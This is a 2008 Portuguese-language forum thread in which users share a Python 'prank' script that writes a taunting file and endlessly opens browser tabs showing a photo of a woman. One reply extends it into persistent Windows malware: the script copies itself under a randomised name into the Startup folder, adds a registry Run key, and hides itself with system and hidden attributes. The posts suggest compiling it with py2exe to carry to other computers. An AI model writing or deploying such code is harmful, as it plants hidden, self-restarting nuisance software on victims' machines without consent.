Tharis Posted June 18, 2008 at 02:06 PM Report Share #191922 Posted June 18, 2008 at 02:06 PM Tudo com o intuito educativo e intelectual... Não me responsabilizo pelas asneiras que façam! import webbrowser from time import sleep file("C:\\text.txt",'w').write("HAHA, YOU GOT PWNED!\n") url="http://www.tiscali.co.uk/media/images/galleries/lifestyle/reallifefreaks/large/lolo_ferrari.jpg" while True: webbrowser.open_new_tab(url) sleep(26) webbrowser.open_new_tab(url) sleep(26) webbrowser.open_new_tab("C:\\text.txt") sleep(8) O script faz com que a cada minuto abra duas abas do browser com a foto da Lolo Ferrari e nos últimos 8 segundos fique um texto de gozo no browser... Gravam como ficheiro .pyw e se o Python estiver instalado é só duplo-clique... Se não tiver Python instalado, usem py2exe num que esteja e depois levem... 😛 Tudo com o intuito educativo e intelectual... Não me responsabilizo pelas asneiras que façam! 1 Report Link to comment Share on other sites More sharing options...
djthyrax Posted June 18, 2008 at 08:20 PM Report Share #192011 Posted June 18, 2008 at 08:20 PM ROFL, é bem, não conhecia essa lib. Não peças ajuda por PM! A tua dúvida vai ter menos atenção do que se for postada na secção correcta do fórum! Link to comment Share on other sites More sharing options...
Kratos Posted June 27, 2008 at 08:28 PM Report Share #194184 Posted June 27, 2008 at 08:28 PM .... 😁 😛 Então que tal apimenta-lo para Windows 😁 # -*- coding: ISO-8859-1 -*- # Criado Por: Tharis (P@P) # Modificado por: Kratos import webbrowser, socket import os, sys from time import sleep import random f = str(os.environ['tmp'] + os.sep + "txt.txt") file(f,'a').write("HAHA, YOU GOT PWNED!\n") url="http://www.tiscali.co.uk/media/images/galleries/lifestyle/reallifefreaks/large/lolo_ferrari.jpg" # Change if sys.platform == "win32": try: import _winreg as winreg list_number = [x for x in range(0, 5001)] PolymorficName = str(random.randrange(0, 101, 3))+str(random.choice(list_number))+str(".pyw") autoIni = str(os.environ['ALLUSERSPROFILE']+os.sep+"Menu Iniciar"+os.sep+"Programas"+os.sep+"Inicializar"+os.sep+str(PolymorficName)) file(autoIni, "w").write(open(sys.argv[0],"r").read()) try: fileName = str("%s") %(PolymorficName) dir = os.path.dirname(autoIni) value = (dir + os.sep + fileName) key = winreg.CreateKey(winreg.HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Run") winreg.SetValueEx(key, fileName, None, winreg.REG_SZ, value) except: pass os.chdir(os.curdir) attr = "ATTRIB +S +H +R %s" %(sys.argv[0]) os.system(attr) except: pass else: pass while (1==1): sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(.10) # Change try: s =sock.connect_ex((url, 80)) if s == 0: while (1==1): webbrowser.open_new_tab(url) sleep(26) webbrowser.open_new_tab(url) sleep(26) webbrowser.open_new_tab(f) sleep(8) except: pass sock.close() Claro que tem que ter o interpretador instalado, ou "compilado" com o py2exe como o Tharis disse, mas cada um da seu geito né ? Uma vez rodado no Windows, ele estará oculto e com atributos do sistema, então para voltar a ve-lo (se você quiser): import os, sys def ShowGhost(file): os.chdir(os.curdir) attr = "ATTRIB -S -H -R %s" %(file) # on Windows os.system(attr) f = raw_input("Qual arquivo acuolto deseja mostrar: ") print "Desocultando...[%s] >>."%(f) ShowGhost(f) sys.exit() .... ? ... tmb não me responsabilizo, é só para aprendizado ( 😉) Kratos "Vejo sempre além, pois me apóio em ombro de Gigantes" Link to comment Share on other sites More sharing options...
Tharis Posted June 27, 2008 at 09:22 PM Author Report Share #194198 Posted June 27, 2008 at 09:22 PM Pôr isso a iniciar automaticamente ao modificar o reg, tá fixe! 😛 Isso já é um "Não tão Pequeno Script para Chatear", mas fica nice! 😉 Link to comment Share on other sites More sharing options...
David Pintassilgo Posted June 27, 2008 at 10:46 PM Report Share #194216 Posted June 27, 2008 at 10:46 PM Isso já é um "Não tão Pequeno Script para Chatear", mas fica nice! 😉 LOL,.. ou então "Já foi um script mais pequeno para chatear" cool stuffs to check. http://blog.zxcoders.com// Link to comment Share on other sites More sharing options...
Kratos Posted June 28, 2008 at 11:35 AM Report Share #194260 Posted June 28, 2008 at 11:35 AM LOL,.. ou então "Já foi um script mais pequeno para chatear" ..rs..😉 "Vejo sempre além, pois me apóio em ombro de Gigantes" Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now